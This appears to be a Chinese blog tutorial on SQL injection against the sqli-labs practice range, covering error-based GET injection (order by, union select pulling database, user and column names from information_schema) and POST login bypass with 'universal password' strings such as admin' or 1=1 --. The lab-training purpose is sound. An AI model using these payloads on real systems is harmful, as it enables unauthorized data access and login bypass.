SQL注入实操(get、post基于报错的注入,sqlilabs靶场)

一、get基于报错的注入

1、利用order by 判断字段数

正确

SQL注入实操(get、post基于报错的注入,sqlilabs靶场)_第1张图片

?id=1'  报错

SQL注入实操(get、post基于报错的注入,sqlilabs靶场)_第2张图片

?id=1' order by 3 --+  (编号为3正确)------可以看出为3个字段

SQL注入实操(get、post基于报错的注入,sqlilabs靶场)_第3张图片

(编号为4错误)

SQL注入实操(get、post基于报错的注入,sqlilabs靶场)_第4张图片

2、union联合注入?id=0(不存在这样的记录,查不到的意思)(报错)

SQL注入实操(get、post基于报错的注入,sqlilabs靶场)_第5张图片

?id=0' union select 1,2,3 --+    (联合查询前面查3个后面查3个)

SQL注入实操(get、post基于报错的注入,sqlilabs靶场)_第6张图片

?id=0' union select 1,database(),user() --+        报: 数据库名  用户名

SQL注入实操(get、post基于报错的注入,sqlilabs靶场)_第7张图片

?id=0%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='user' --+      报:数据库表名

SQL注入实操(get、post基于报错的注入,sqlilabs靶场)_第8张图片

二、post基于报错的注入

在第一关卡得到用户名和密码。

SQL注入实操(get、post基于报错的注入,sqlilabs靶场)_第9张图片

 输入上面的账号密码登入成功

SQL注入实操(get、post基于报错的注入,sqlilabs靶场)_第10张图片

上面是知道密码账号的,如果我们不知道怎么办了

可以先注入一下试一下注入:账号:Dumb\  密码: 123456

SQL注入实操(get、post基于报错的注入,sqlilabs靶场)_第11张图片

SQL注入实操(get、post基于报错的注入,sqlilabs靶场)_第12张图片

万能密码

admin' or 1=1 -- (注意--后面有一个空格) (11关卡)

SQL注入实操(get、post基于报错的注入,sqlilabs靶场)_第13张图片

admin") or 1=1 -- (注意--后面有一个空格) (12关卡)

1、输入账号:Dumb\   密码:123456(发现‘123456“)以”)结尾)

SQL注入实操(get、post基于报错的注入,sqlilabs靶场)_第14张图片

则万能密码是:admin") or 1=1 -- 

SQL注入实操(get、post基于报错的注入,sqlilabs靶场)_第15张图片

你可能感兴趣的:(sql,数据库)